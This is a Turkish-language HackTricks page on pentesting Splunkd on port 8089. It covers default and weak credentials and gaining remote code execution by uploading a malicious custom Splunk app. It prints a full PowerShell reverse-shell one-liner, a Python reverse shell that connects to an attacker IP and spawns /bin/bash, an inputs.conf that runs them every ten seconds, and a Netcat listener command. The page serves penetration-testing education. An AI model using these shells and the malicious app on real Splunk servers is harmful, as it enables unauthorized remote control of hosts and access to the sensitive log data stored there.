8.8 KiB
8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Temel Bilgiler
Splunk, veri toplama, analiz etme ve görselleştirme konusunda kritik bir rol oynayan bir log analitik aracıdır. Başlangıçta bir SIEM (Güvenlik Bilgisi ve Olay Yönetimi) aracı olarak hizmet vermek amacıyla tasarlanmamış olsa da, güvenlik izleme ve iş analitiği alanında popülerlik kazanmıştır.
Splunk dağıtımları genellikle hassas verileri depolamak için kullanılır ve sistemin ele geçirilmesi durumunda potansiyel saldırganlar için değerli bir bilgi kaynağı olabilir. Varsayılan port: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Splunk web sunucusu varsayılan olarak 8000 numaralı portta çalışır. {% endhint %}
Enumeration
Ücretsiz Versiyon
Splunk Enterprise denemesi 60 gün sonra ücretsiz versiyona dönüşür, bu da kimlik doğrulama gerektirmez. Sistem yöneticilerinin Splunk'ın deneme sürümünü test etmek için kurması ve bunun sonrasında unutulması yaygın bir durumdur. Bu, kimlik doğrulama gerektirmeyen ücretsiz versiyona otomatik olarak dönüşecektir ve bu da ortamda bir güvenlik açığı oluşturur. Bazı organizasyonlar, kullanıcı/rol yönetiminin olmamasıyla ilgili sonuçları tam olarak anlamadan bütçe kısıtlamaları nedeniyle ücretsiz versiyonu tercih edebilir.
Varsayılan Kimlik Bilgileri
Eski Splunk sürümlerinde varsayılan kimlik bilgileri admin:changeme
olup, bu bilgiler giriş sayfasında rahatlıkla görüntülenir.
Ancak, Splunk'ın en son sürümü kurulum sürecinde kimlik bilgilerini ayarlar. Varsayılan kimlik bilgileri çalışmazsa, admin
, Welcome
, Welcome1
, Password123
gibi yaygın zayıf şifreleri kontrol etmekte fayda vardır.
Bilgi Edinme
Splunk'a giriş yaptıktan sonra, verileri gözden geçirebilir, raporlar çalıştırabilir, gösterge panelleri oluşturabilir, Splunkbase kütüphanesinden uygulamalar yükleyebilir ve özel uygulamalar yükleyebilirsiniz.
Ayrıca kod çalıştırabilirsiniz: Splunk, sunucu tarafı Django uygulamaları, REST uç noktaları, betik girdi ve uyarı betikleri gibi kod çalıştırmanın birçok yoluna sahiptir. Bir Splunk sunucusunda uzaktan kod yürütmenin yaygın bir yöntemi, betik girdi kullanmaktır.
Ayrıca, Splunk Windows veya Linux ana bilgisayarlarında kurulabileceğinden, Bash, PowerShell veya Batch betiklerini çalıştırmak için betik girdileri oluşturulabilir.
Shodan
Splunk build
RCE
Özel Uygulama Oluşturma
Özel bir uygulama Python, Batch, Bash veya PowerShell betikleri çalıştırabilir.
Splunk'ın Python ile yüklü geldiğini unutmayın, bu nedenle Windows sistemlerinde bile python kodu çalıştırabileceksiniz.
Bize yardımcı olması için bu Splunk paketini kullanabilirsiniz. Bu repo içindeki bin
dizini, Python ve PowerShell için örnekler içermektedir. Bunu adım adım inceleyelim.
Bunu başarmak için, önce aşağıdaki dizin yapısını kullanarak özel bir Splunk uygulaması oluşturmamız gerekiyor:
tree splunk_shell/
splunk_shell/
├── bin
└── default
bin
dizini, çalıştırmayı planladığımız herhangi bir script içerecektir (bu durumda, bir PowerShell ters shell), ve varsayılan dizin inputs.conf
dosyamızı içerecektir. Ters shell'imiz bir PowerShell one-liner olacak:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
inputs.conf dosyası Splunk'a hangi scriptin çalıştırılacağını ve diğer koşulları belirtir. Burada uygulamayı etkin olarak ayarlıyoruz ve Splunk'a scripti her 10 saniyede bir çalıştırmasını söylüyoruz. Aralık her zaman saniye cinsindendir ve girdi (script) yalnızca bu ayar mevcutsa çalışacaktır.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
.bat
dosyasına ihtiyacımız var, bu dosya uygulama dağıtıldığında çalışacak ve PowerShell tek satırlık komutunu yürütecek.
Sonraki adım, Install app from file
seçeneğini seçmek ve uygulamayı yüklemektir.
Kötü niyetli özel uygulamayı yüklemeden önce, Netcat veya socat kullanarak bir dinleyici başlatalım.
sudo nc -lnvp 443
listening on [any] 443 ...
Upload app
sayfasında, göz at'a tıklayın, daha önce oluşturduğumuz tarball'ı seçin ve Upload
'a tıklayın. Uygulamayı yüklediğimiz anda, uygulamanın durumu otomatik olarak Enabled
olarak değişeceği için bir ters shell alınır.
Linux
Eğer bir Linux host ile uğraşıyorsak, tarball'ı oluşturmadan ve özel kötü amaçlı uygulamayı yüklemeden önce rev.py
Python betiğini düzenlememiz gerekecektir. Sürecin geri kalanı aynı kalacak ve Netcat dinleyicimizde bir ters shell bağlantısı alacağız ve yarışa başlayacağız.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Yetki Yükseltme
Aşağıdaki sayfada bu hizmetin nasıl kötüye kullanılabileceğine dair bir açıklama bulabilirsiniz, yetkileri yükseltmek ve kalıcılık elde etmek için:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
Referanslar
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.